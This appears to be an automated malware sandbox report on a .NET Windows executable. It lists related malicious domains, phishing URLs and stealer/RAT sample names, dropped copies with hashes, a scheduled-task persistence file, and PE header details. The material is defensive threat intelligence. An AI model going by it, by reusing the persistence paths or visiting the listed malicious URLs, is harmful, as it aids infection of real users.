Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe	Get hash	malicious	Metasploit	Browse	150.171.28.10
	https://mail.donotreply.biz/XWW04VVZpU2JyWTFmVy96T2RUOUEvcEhyMWhFSm5uZElnVUlmb2dTZEdMRFdGSU1UV2V3S3RUNGdrNmNQRFJ4WTFPRHdYYlkraDV3S1YyVVpuU3E3K2p1bWowcEt3M24ySVBLanRDUkwyYitYWExuYTB5YlhVTUhySWZKbGJCTE9oRHl2RCtjR29BbEk3ZEwxZFJaNmNoK29ESk0vTGcxSmtyK0FWTExLWTdxYlQ1Yys1bjNiTUczY0RnPT0tLTU2R0pFM1VwZFRnVndZSWktLXptU2lWOHlQdjR0eGI1K09OQVZtRnc9PQ==?cid=2315575162	Get hash	malicious	KnowBe4	Browse	150.171.27.10
	https://ce4.ajax.a8b.co/get?redir=1&id=d4vCW7zizPl1mo0GYx0ELgo+CCIybH9/c4qC7CeWEuI=&uri=//the-western-fire-chiefs-association.jimdosite.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	174 Power Global_Enrollment_.docx.doc	Get hash	malicious	Unknown	Browse	150.171.27.10
	nSs9QIsTua.js	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://uhsee.com	Get hash	malicious	Unknown	Browse	150.171.27.10
bg.microsoft.map.fastly.net	YcxjdYUKIb.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.210.172
	xxx.ps1	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	KE2yNJdV55.exe	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	LA0gY3d103.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.210.172
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	199.232.214.172
	uzI7DAON53.exe	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.214.172
	LA0gY3d103.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.214.172
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WORLDSTREAMNL	spc.elf	Get hash	malicious	Unknown	Browse	45.131.4.124
	Xeno Executor.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	5.252.155.28
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	5.252.155.28
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	5.252.155.28
	spc.elf	Get hash	malicious	Mirai	Browse	213.108.199.252
	https://kbprinters.com/serviciodecorreo/login	Get hash	malicious	Unknown	Browse	217.23.10.192
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	194.88.105.30
	1Zp7qa5zFD.exe	Get hash	malicious	AsyncRAT	Browse	89.39.106.35
	nabx86.elf	Get hash	malicious	Unknown	Browse	45.139.57.89
	SecuriteInfo.com.Trojan.DownLoader25.33926.32281.13140.exe	Get hash	malicious	Unknown	Browse	109.236.88.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\colsv\qxdc.exe	file.exe	Get hash	malicious	Amadey, SystemBC	Browse
C:\ProgramData\tlwghd\flmixjo.exe	file.exe	Get hash	malicious	Amadey, SystemBC	Browse
C:\ProgramData\uinetk\wvgk.exe	file.exe	Get hash	malicious	Amadey, SystemBC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263470027631433
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0V:9JZj5MiKNnNhoxuQ
MD5:	ED1A23A190203BC20061DA20B853B4CB
SHA1:	A6287DDF5B8D16E6ADB4EFD1D98000C263565E6F
SHA-256:	EDF2434F4A1B34B57162201BD8DFC39C88365603B778BEBCABBB2423E51538B0
SHA-512:	178705F997FA8843B34B6D60E404BA754B96FB075D8D323ED75106898E238538865CA2A797E672A423E891703CC94738CF64FFB308D65AC9516AC22C850A0BD2
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3fd46a76, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556145260901492
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	B3FFE5290737ADC28BCD288E560A9BAD
SHA1:	7B63E6427D404422EE653859A0E741CFF6BE371C
SHA-256:	943A0F0595E938892AF259E17E503F500E3747C3C023E3585CB2F171D92F602E
SHA-512:	021D63E6C3B4EE12B643A33A663F0A76FC408B52324007372363BAD1FFEC535CDE0ECC318183A84610AF9E27F8EB5522108C154EBDEF42C75DAB4E0AB3DFA3D1
Malicious:	false
Preview:	?.jv... .......7.......X\...;...{......................0.e......!...{?.&#...\|W.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................}.&#...\|W...................%S&#...\|W..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07981112909443144
Encrypted:	false
SSDEEP:	3:alyYe0akEeeuNaAPaU1lnC2ltlolluxmO+l/SNxOf:uyzzuNDPaUHIgmOH
MD5:	7A8364BD895352EAA143E5586BB7FD26
SHA1:	33F45A98B1F6F6FA9919DE0D35AEA97561FAE880
SHA-256:	76EC3239835B81C62F5399879B8DBA416F4C6728D5CD8117B53E9A0B4CAA3F0B
SHA-512:	370931E11821A0C8E3179AB54097924B9425F8353801E41884F7CC0BDFFA83F0675F4ADF0FB8821E6CFD925C8E2B65408AC9DE0D72A26CDC8AFB8EC736D66DA4
Malicious:	false
Preview:	..Zu.....................................;...{..&#...\|W..!...{?..........!...{?..!...{?..g...!...{?...................%S&#...\|W.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\colsv\qxdc.exe

Download File

Process:	C:\Users\user\Desktop\Opdxdyeul.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	915456
Entropy (8bit):	7.982896262331217
Encrypted:	false
SSDEEP:	12288:etFDEnlFaqLcsjwwdbriOXrWh+7SmCHK4A04KJeYtS1dFXuehyFJ97wQjGuNafNJ:6q9ctmHiCpd4FJe0oeehyjPiuNv/L
MD5:	CEE58644E824D57927FE73BE837B1418
SHA1:	698D1A11AB58852BE004FD4668A6F25371621976
SHA-256:	4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
SHA-512:	AB9E9083ED107B5600F802EC66DAB71F1064377749B6C874F8CE6E9CE5B2718A1DC45372B883943A8EAE99378D1151CE15983D4C9BE67D559CD72B28B9F55FB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................f.... ... ....@.. .......................`............`.....................................J.... .......................@....................................................... ............... ..H............text...l.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................L.......H........u..x4......r........c...........................................(....(>.....(......}.....#...Q...@}......}.....(....}.....s....}.....+.{.....+.B+.+.}.....+..+.....0..F........- .'...+.+"+#u(...r...p+.......+.&.-.(....+..+.(....+.(....+.o....+.....(......(.....~....-.r...p.....+.+.+......~....(....+.o....+.s....+..~......+.......+..+.rW..p~....+.t....(....+.o....+....(......(.....0..s.......+5+:+?+D+I.-(+Gro..p+C.,.,..-..+?.H+>r...p(....,....6.2(....+.o

C:\ProgramData\colsv\qxdc.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Opdxdyeul.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\tlwghd\flmixjo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	915456
Entropy (8bit):	7.982896262331217
Encrypted:	false
SSDEEP:	12288:etFDEnlFaqLcsjwwdbriOXrWh+7SmCHK4A04KJeYtS1dFXuehyFJ97wQjGuNafNJ:6q9ctmHiCpd4FJe0oeehyjPiuNv/L
MD5:	CEE58644E824D57927FE73BE837B1418
SHA1:	698D1A11AB58852BE004FD4668A6F25371621976
SHA-256:	4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
SHA-512:	AB9E9083ED107B5600F802EC66DAB71F1064377749B6C874F8CE6E9CE5B2718A1DC45372B883943A8EAE99378D1151CE15983D4C9BE67D559CD72B28B9F55FB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................f.... ... ....@.. .......................`............`.....................................J.... .......................@....................................................... ............... ..H............text...l.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................L.......H........u..x4......r........c...........................................(....(>.....(......}.....#...Q...@}......}.....(....}.....s....}.....+.{.....+.B+.+.}.....+..+.....0..F........- .'...+.+"+#u(...r...p+.......+.&.-.(....+..+.(....+.(....+.o....+.....(......(.....~....-.r...p.....+.+.+......~....(....+.o....+.s....+..~......+.......+..+.rW..p~....+.t....(....+.o....+....(......(.....0..s.......+5+:+?+D+I.-(+Gro..p+C.,.,..-..+?.H+>r...p(....,....6.2(....+.o

C:\ProgramData\tlwghd\flmixjo.exe:Zone.Identifier

Download File

Process:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\uinetk\wvgk.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	915456
Entropy (8bit):	7.982896262331217
Encrypted:	false
SSDEEP:	12288:etFDEnlFaqLcsjwwdbriOXrWh+7SmCHK4A04KJeYtS1dFXuehyFJ97wQjGuNafNJ:6q9ctmHiCpd4FJe0oeehyjPiuNv/L
MD5:	CEE58644E824D57927FE73BE837B1418
SHA1:	698D1A11AB58852BE004FD4668A6F25371621976
SHA-256:	4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
SHA-512:	AB9E9083ED107B5600F802EC66DAB71F1064377749B6C874F8CE6E9CE5B2718A1DC45372B883943A8EAE99378D1151CE15983D4C9BE67D559CD72B28B9F55FB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................f.... ... ....@.. .......................`............`.....................................J.... .......................@....................................................... ............... ..H............text...l.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................L.......H........u..x4......r........c...........................................(....(>.....(......}.....#...Q...@}......}.....(....}.....s....}.....+.{.....+.B+.+.}.....+..+.....0..F........- .'...+.+"+#u(...r...p+.......+.&.-.(....+..+.(....+.(....+.o....+.....(......(.....~....-.r...p.....+.+.+......~....(....+.o....+.s....+..~......+.......+..+.rW..p~....+.t....(....+.o....+....(......(.....0..s.......+5+:+?+D+I.-(+Gro..p+C.,.,..-..+?.H+>r...p(....,....6.2(....+.o

C:\ProgramData\uinetk\wvgk.exe:Zone.Identifier

Download File

Process:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.379498561514372
Encrypted:	false
SSDEEP:	48:zWSU4xympjgZ9tz4RIoUl8NPP8l7u1iMuge//ZM0Uyu5:zLHxvCZfIfSKHOOugr15
MD5:	53F197079B7D22843E7D95E348685FEC
SHA1:	526C7E10F951993BFF661CE43A31EFD40C32AD79
SHA-256:	2213967EC5B53AD0F91211A21351AEE38862F0B470C9652775CCDA699A3481D7
SHA-512:	210BA4A0DD0EE78D5B2802753EDC6CF50470BD278210BE3771588C8847956294FE9EE87E1E9B9DF0421C09B06329A6228A1142A2502FB8EC37C4CE8AF68BDDEA
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esnlaeic.s2n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opn14tzp.jwj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p3plsryp.msq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u25aafya.qfq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Yjlwuuys.exe

Download File

Process:	C:\Users\user\Desktop\Opdxdyeul.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	915456
Entropy (8bit):	7.982896262331217
Encrypted:	false
SSDEEP:	12288:etFDEnlFaqLcsjwwdbriOXrWh+7SmCHK4A04KJeYtS1dFXuehyFJ97wQjGuNafNJ:6q9ctmHiCpd4FJe0oeehyjPiuNv/L
MD5:	CEE58644E824D57927FE73BE837B1418
SHA1:	698D1A11AB58852BE004FD4668A6F25371621976
SHA-256:	4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
SHA-512:	AB9E9083ED107B5600F802EC66DAB71F1064377749B6C874F8CE6E9CE5B2718A1DC45372B883943A8EAE99378D1151CE15983D4C9BE67D559CD72B28B9F55FB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................f.... ... ....@.. .......................`............`.....................................J.... .......................@....................................................... ............... ..H............text...l.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................L.......H........u..x4......r........c...........................................(....(>.....(......}.....#...Q...@}......}.....(....}.....s....}.....+.{.....+.B+.+.}.....+..+.....0..F........- .'...+.+"+#u(...r...p+.......+.&.-.(....+..+.(....+.(....+.o....+.....(......(.....~....-.r...p.....+.+.+......~....(....+.o....+.s....+..~......+.......+..+.rW..p~....+.t....(....+.o....+....(......(.....0..s.......+5+:+?+D+I.-(+Gro..p+C.,.,..-..+?.H+>r...p(....,....6.2(....+.o

C:\Users\user\AppData\Roaming\Yjlwuuys.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Opdxdyeul.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\Test Task17.job

Download File

Process:	C:\Users\user\Desktop\Opdxdyeul.exe
File Type:	data
Category:	modified
Size (bytes):	244
Entropy (8bit):	3.391566295437085
Encrypted:	false
SSDEEP:	3:ckjNJSl/lm2/SblM6lEjlGgSldtttxgyS9S7ARjLlAS/M2z0nlrlWtkaGatltltl:lW/82abhEZGPdtE9+AQy0lxqkaGaXt1
MD5:	7870DDB6D55BF56F29A5340385B31B9A
SHA1:	0B3E73FEA6AF9B8A11C39192A82D032DD750FC97
SHA-256:	CEBF7ECE320AC467B08D99B5C11BD6A5C10851626665F55ADFD0C0DE9DDB2D4E
SHA-512:	87F67A14B0D0671B0C58BAB390B8EEE334597EA68A1513389FF2F288643B7A38801F4C58E3096017A5E735693CFA4C936F0C3205CB8289C5B361475A2B610B28
Malicious:	false
Preview:	......LX...J...u..d.F.......<... .....\.......... ......................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.c.o.l.s.v.\.q.x.d.c...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.........3.....................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.982896262331217
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Opdxdyeul.exe
File size:	915'456 bytes
MD5:	cee58644e824d57927fe73be837b1418
SHA1:	698d1a11ab58852be004fd4668a6f25371621976
SHA256:	4235c78ffaf12c4e584666da54cfc5dc56412235f5a2d313dcac07d1314dd52e
SHA512:	ab9e9083ed107b5600f802ec66dab71f1064377749b6c874f8ce6e9ce5b2718a1dc45372b883943a8eae99378d1151ce15983d4c9be67d559cd72b28b9f55fb5
SSDEEP:	12288:etFDEnlFaqLcsjwwdbriOXrWh+7SmCHK4A04KJeYtS1dFXuehyFJ97wQjGuNafNJ:6q9ctmHiCpd4FJe0oeehyjPiuNv/L
TLSH:	FA1523923B5F2632C0195C7E64E9F61793F4F6B2AA2EE7535091222CC10F3D39923667
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...g..f............................f.... ... ....@.. .......................`............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4e0d66
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66B6BB67 [Sat Aug 10 00:59:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe0d1c	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe2000	0x59e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe4000	0xc	.reloc
